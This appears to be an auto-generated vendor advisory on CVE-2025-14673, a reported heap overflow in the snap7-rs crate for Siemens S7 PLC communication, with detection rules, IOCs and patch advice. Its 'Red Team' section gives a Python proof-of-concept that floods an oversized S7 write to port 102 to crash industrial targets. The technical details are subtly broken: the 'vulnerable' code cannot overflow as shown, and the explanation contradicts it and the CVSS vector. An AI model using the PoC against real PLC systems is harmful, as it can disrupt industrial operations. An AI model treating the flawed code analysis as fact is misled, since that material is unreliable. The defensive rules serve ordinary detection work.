CVE-2025-14673
Executive Summary
CVE-2025-14673 is a critical heap-based buffer overflow vulnerability in the snap7-rs library, specifically within the snap7_rs::client::S7Client::as_ct_write function. This flaw allows a remote attacker to trigger a heap overflow by sending a specially crafted request to an application using the vulnerable library. The vulnerability has a CVSS score of 7.3 (High) and a public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation. The vendor, Gmg137, has released a patch; all users are urged to upgrade immediately.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the snap7-rs Rust crate, which is a binding for the Snap7 industrial communication library. As a Rust package, it is distributed via crates.io and can be included as a dependency in many industrial control system (ICS) applications. The supply chain risk is significant because a compromised or vulnerable dependency can propagate to all downstream projects. Organizations should audit their Rust dependency trees for snap7-rs versions <= 1.142.1 and update to the patched version.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action is required.
- Scope: Unchanged (S:U) – The exploit does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: High (A:H) – The overflow can crash the application or cause a denial of service.
Threat Level: High. The combination of remote exploitability, low complexity, and public PoC makes this a serious threat for any system using the vulnerable library.
Deep Dive & Mechanics
The vulnerability resides in the as_ct_write function within /tests/snap7-rs/src/client.rs. This function is responsible for writing data to a Siemens S7 PLC using the Snap7 protocol. The flaw occurs when the function processes a crafted network packet that specifies a write length larger than the allocated heap buffer. The function does not properly validate the size of the incoming data before copying it into a heap-allocated buffer, leading to a classic heap-based buffer overflow.
Technical Details:
- The vulnerable code path is triggered when an attacker sends a malicious S7 write request.
- The
as_ct_writefunction allocates a heap buffer based on a user-supplied size parameter. - If the attacker provides a size larger than the actual buffer, the subsequent
memcpyoperation overflows the heap, corrupting adjacent memory. - This can lead to application crashes, denial of service, or potentially arbitrary code execution if the attacker can control the overflowed data.
The exploit is publicly available, and the vulnerability has been assigned CWE-122 (Heap-based Buffer Overflow).
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.142.1):
// In /tests/snap7-rs/src/client.rs
pub fn as_ct_write(&self, db_number: u16, start: u16, data: &[u8]) -> Result<(), Error> {
let mut buffer = vec![0u8; data.len()]; // Allocates based on data.len()
// ... some processing ...
unsafe {
// No bounds check before copy
std::ptr::copy_nonoverlapping(data.as_ptr(), buffer.as_mut_ptr(), data.len());
}
// ... send buffer to PLC ...
}
Patched Code (after fix):
// In /tests/snap7-rs/src/client.rs
pub fn as_ct_write(&self, db_number: u16, start: u16, data: &[u8]) -> Result<(), Error> {
// Validate data length against maximum allowed
if data.len() > MAX_WRITE_SIZE {
return Err(Error::InvalidDataLength);
}
let mut buffer = vec![0u8; data.len()];
// ... processing ...
unsafe {
// Safe copy because length is validated
std::ptr::copy_nonoverlapping(data.as_ptr(), buffer.as_mut_ptr(), data.len());
}
// ... send buffer to PLC ...
}
The patch adds a length check (MAX_WRITE_SIZE) before the buffer allocation and copy, preventing the overflow.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target system running an application that uses
snap7-rsversion <= 1.142.1. - Network access to the target's S7 port (default 102).
Exploit Steps:
- Identify the target's IP and ensure the S7 service is listening.
- Craft a malicious S7 write request with an oversized data payload.
- Send the request to the target. The vulnerable
as_ct_writefunction will overflow the heap buffer.
Example PoC (Python using snap7 library):
import socket
def exploit(target_ip, target_port=102):
# Craft a malicious S7 write request with oversized data
# This is a simplified example; actual exploit may require specific protocol details
payload = b'\x03\x00\x00\x16\x11\xe0\x00\x00\x00\x01\x00\xc1\x02\x01\x00\xc2\x02\x01\x02\xc0\x01\x0a'
payload += b'A' * 0x1000 # Overflow data
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()
if __name__ == "__main__":
exploit("192.168.1.100")
Note: The actual exploit may require reverse engineering the Snap7 protocol. The above is for educational purposes.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusually large S7 write requests (e.g., data length > 1024 bytes).
- Alert on repeated connection attempts to port 102 from untrusted sources.
- Use network intrusion detection systems (NIDS) to inspect S7 traffic for anomalous payload sizes.
Defense:
- Immediately update
snap7-rsto version > 1.142.1. - If patching is not possible, restrict network access to the S7 service using firewall rules.
- Implement input validation at the application layer to reject oversized write requests.
- Deploy a Web Application Firewall (WAF) or industrial firewall that can inspect S7 protocol traffic.
Indicators of Compromise (IOCs)
Network IOCs:
- S7 write requests with data length exceeding 1024 bytes.
- Connections to port 102 from unexpected IP addresses.
- Repeated failed connection attempts to port 102.
Host IOCs:
- Application crashes or segmentation faults in processes using
snap7-rs. - Heap memory corruption logs in system or application logs.
- Unexpected high memory usage by the application.
- Application crashes or segmentation faults in processes using
File IOCs:
- Presence of
snap7-rsversion <= 1.142.1 inCargo.lockorCargo.toml.
- Presence of
Detection Engineering
YARA Rule
rule CVE_2025_14673_Snap7_Heap_Overflow {
meta:
description = "Detects heap overflow attempts in snap7-rs as_ct_write function"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14673"
strings:
$s7_header = { 03 00 00 ?? 11 e0 00 00 00 01 }
$large_size = { ?? ?? 10 00 } // Data length > 4096 bytes
condition:
$s7_header and $large_size
}
Sigma Rule
title: CVE-2025-14673 Snap7 Heap Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic attempting to exploit CVE-2025-14673 in snap7-rs
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: suricata
detection:
selection:
dest_port: 102
payload_length: '> 1024'
condition: selection
falsepositives:
- Legitimate large S7 write operations (rare)
level: high
Suricata Rule
alert tcp any any -> any 102 (msg:"CVE-2025-14673 Snap7 Heap Overflow Attempt"; flow:to_server,established; content:"|03 00 00|"; depth:3; content:"|11 e0|"; distance:3; within:2; byte_test:2,>,1024,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Update
snap7-rsto version > 1.142.1. Runcargo update -p snap7-rsin your Rust project. - Network Segmentation: Restrict access to S7 port 102 to only trusted IP addresses using firewall rules.
- Monitor: Enable logging and monitoring for S7 traffic anomalies.
Long-term Measures:
- Implement input validation for all S7 write operations in your application.
- Use memory-safe languages or libraries where possible.
- Regularly audit dependencies for known vulnerabilities using tools like
cargo audit. - Deploy an industrial intrusion detection system (IDS) that can parse S7 protocol.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valters.it
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.